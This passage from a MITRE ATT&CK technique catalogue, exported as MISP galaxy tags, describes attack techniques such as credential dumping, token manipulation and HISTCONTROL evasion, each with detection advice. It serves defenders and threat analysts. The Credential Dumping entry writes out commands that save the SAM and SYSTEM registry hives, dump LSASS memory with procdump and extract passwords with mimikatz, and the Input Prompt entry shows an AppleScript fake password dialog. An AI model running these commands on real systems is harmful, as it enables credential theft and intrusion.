Data Sources: Network protocol analysis, Netflow/Enclave netflow

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Multi-hop Proxy - T1188"*

Table 2050. Table References

Links

https://attack.mitre.org/wiki/Technique/T1188

Hypervisor - T1062

A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.

Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)

Platforms: Windows

Data Sources: System calls

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Hypervisor - T1062"*

Table 2051. Table References

Links
https://attack.mitre.org/wiki/Technique/T1062
https://en.wikipedia.org/wiki/Hypervisor
http://en.wikipedia.org/wiki/Xen
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html

Credential Dumping - T1003

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.

Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

===SAM (Security Accounts Manager)===

The SAM is a database file that contains local accounts for the host, typically those found with the 'net user' command. To enumerate the SAM database, system level access is required. A number of tools can be used to retrieve the SAM file through in-memory techniques: * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg: * <code>reg save HKLM\sam sam</code> * <code>reg save HKLM\system system</code>

Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)

Notes: Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+.

===Cached Credentials===

The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.   A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * gsecdump * Mimikatz

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

Notes: Cached credentials for Windows Vista are derived using PBKDF2.

===Local Security Authority (LSA) Secrets===

With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.   When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.   A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation.

===NTDS from Domain Controller===

Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.   * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy

===Group Policy Preference (GPP) Files===

Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.   These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)   The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: * Metasploit’s post exploitation module: "post/windows/gather/credentials/gpp" * Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword) * gpprefdecrypt.py   Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. dir /s *.xml

===Service Principle Names (SPNs)===

See Kerberoasting.

===Plaintext Credentials===

After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.   SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.

The following SSPs can be used to access credentials: Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection) Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)   The following tools can be used to enumerate credentials: * Windows Credential Editor * Mimikatz   As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.   For example, on the target host use procdump: * <code>procdump -ma lsass.exe lsass_dump</code>   Locally, mimikatz can be run: * <code>sekurlsa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPasswords</code>

===DCSync===

DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller’s application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account’s password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)

Detection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.

Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well.

On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.

Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)

Platforms: Windows

Data Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs

Permissions Required: Administrator, SYSTEM

Contributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003"*

Table 2052. Table References

Links
https://attack.mitre.org/wiki/Technique/T1003
https://github.com/mattifestation/PowerSploit
https://adsecurity.org/?p=1729
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/

https://github.com/gentilkiwi/mimikatz/wiki/module--lsadump[https://github.com/gentilkiwi/mimikatz/wiki/module--lsadump]
https://msdn.microsoft.com/library/cc228086.aspx
https://msdn.microsoft.com/library/dd207691.aspx
https://wiki.samba.org/index.php/DRSUAPI
https://source.winehq.org/WineAPI/samlib.html
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://msdn.microsoft.com/library/cc237008.aspx
https://msdn.microsoft.com/library/cc245496.aspx
https://github.com/Neohapsis/creddump7
https://en.wikipedia.org/wiki/Active%20Directory
https://msdn.microsoft.com/library/cc422924.aspx
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html
https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)

Deobfuscate/Decode Files or Information - T1140

Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.

One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)

Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

Detection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.

Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.

Platforms: Windows

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Defense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system

Permissions Required: User

Contributors: Matthew Demaske, Adaptforward, Red Canary

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Deobfuscate/Decode Files or Information - T1140"*

Table 2053. Table References

Links
https://attack.mitre.org/wiki/Technique/T1140
https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

Time Providers - T1209

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

Detection: Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)

The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)

Platforms: Windows

Data Sources: API monitoring, Binary file metadata, DLL monitoring, File monitoring, Loaded DLLs, Process Monitoring

Permissions Required: Administrator, SYSTEM

Contributors: Scott Lundgren, @5twenty9, Carbon Black

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Time Providers - T1209"*

Table 2054. Table References

Links
https://attack.mitre.org/wiki/Technique/T1209
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://github.com/scottlundgren/w32time
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
https://technet.microsoft.com/en-us/sysinternals/bb963902

HISTCONTROL - T1148

The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

Detection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.

Platforms: Linux, macOS

Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable

Defense Bypassed: Log analysis, Host forensic analysis

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="HISTCONTROL - T1148"*

Table 2055. Table References

Links
https://attack.mitre.org/wiki/Technique/T1148

SID-History Injection - T1178

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.

Detection: Examine data in user's SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)

Monitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)

Monitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)

Platforms: Windows

Data Sources: API monitoring, Authentication logs, Windows event logs

Permissions Required: Administrator, SYSTEM

Contributors: Vincent Le Toux

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="SID-History Injection - T1178"*

Table 2056. Table References

Links
https://attack.mitre.org/wiki/Technique/T1178
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
https://technet.microsoft.com/library/ee617241.aspx
https://adsecurity.org/?p=1772
https://msdn.microsoft.com/library/ms677982.aspx

Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection

Defense Bypassed: Binary Analysis, Log analysis, Firewall

Permissions Required: User

Requires Network: Yes

Contributors: Anastasios Pingios

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Service - T1102"*

Table 2057. Table References

Links
https://attack.mitre.org/wiki/Technique/T1102
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Interaction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows

Data Sources: Windows Registry, Process monitoring, Process command-line parameters

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Query Registry - T1012"*

Table 2058. Table References

Links
https://attack.mitre.org/wiki/Technique/T1012
https://en.wikipedia.org/wiki/Windows%20Registry

Third-party Software - T1072

Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.

Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Detection: Detection methods will vary depending on the type of third-party software or system and how it is typically used.

The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems.

Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.

Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

Platforms: Linux, Windows, macOS

Data Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry

Permissions Required: Administrator, SYSTEM, User

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Third-party Software - T1072"*

Table 2059. Table References

Links
https://attack.mitre.org/wiki/Technique/T1072

Remote File Copy - T1105

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.

Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring

Permissions Required: User

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105"*

Table 2060. Table References

Links
https://attack.mitre.org/wiki/Technique/T1105
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

File System Logical Offsets - T1006

Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)

Detection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)

Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.

Platforms: Windows

Data Sources: API monitoring

Defense Bypassed: File monitoring, File system access controls

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="File System Logical Offsets - T1006"*

Table 2061. Table References

Links
https://attack.mitre.org/wiki/Technique/T1006
http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Input Prompt - T1141

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:

<code>set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "")</code> (Citation: OSX Keydnap malware)

Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)

Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.

Platforms: macOS

Data Sources: User interface, Process Monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Prompt - T1141"*

Table 2062. Table References

Links
https://attack.mitre.org/wiki/Technique/T1141
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html

Shared Webroot - T1051

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website’s webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.

Detection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.

Platforms: Windows

Data Sources: File monitoring, Process monitoring

System Requirements: Shared webroot directory on remote system

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Shared Webroot - T1051"*

Table 2063. Table References

Links
https://attack.mitre.org/wiki/Technique/T1051

Indicator Blocking - T1054

An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.

Detection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.

Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.

Platforms: Windows

Data Sources: Sensor health and status, Process command-line parameters, Process monitoring

Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Indicator Blocking - T1054"*

Table 2064. Table References

Links
https://attack.mitre.org/wiki/Technique/T1054

Exfiltration Over Physical Medium - T1052

In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

Detection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.

Platforms: Linux, macOS, Windows

Data Sources: Data loss prevention, File monitoring

System Requirements: Presence of physical medium or device

Requires Network: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Physical Medium - T1052"*

Table 2065. Table References

Links
https://attack.mitre.org/wiki/Technique/T1052

Access Token Manipulation - T1134

Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>. (Citation: Microsoft runas)

Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)

Access tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)

'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user’s security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.

'''Create Process with a Token''' - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session’s access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.

Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)

Detection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)

If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>

(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.

Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)

Platforms: Windows

Data Sources: API monitoring, Access Tokens

Effective Permissions: SYSTEM

Permissions Required: User, Administrator

Contributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Access Token Manipulation - T1134"*

Table 2066. Table References

Links
https://attack.mitre.org/wiki/Technique/T1134
https://technet.microsoft.com/en-us/library/bb490994.aspx
https://pentestlab.blog/2017/04/03/token-manipulation/
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf

System Time Discovery - T1124

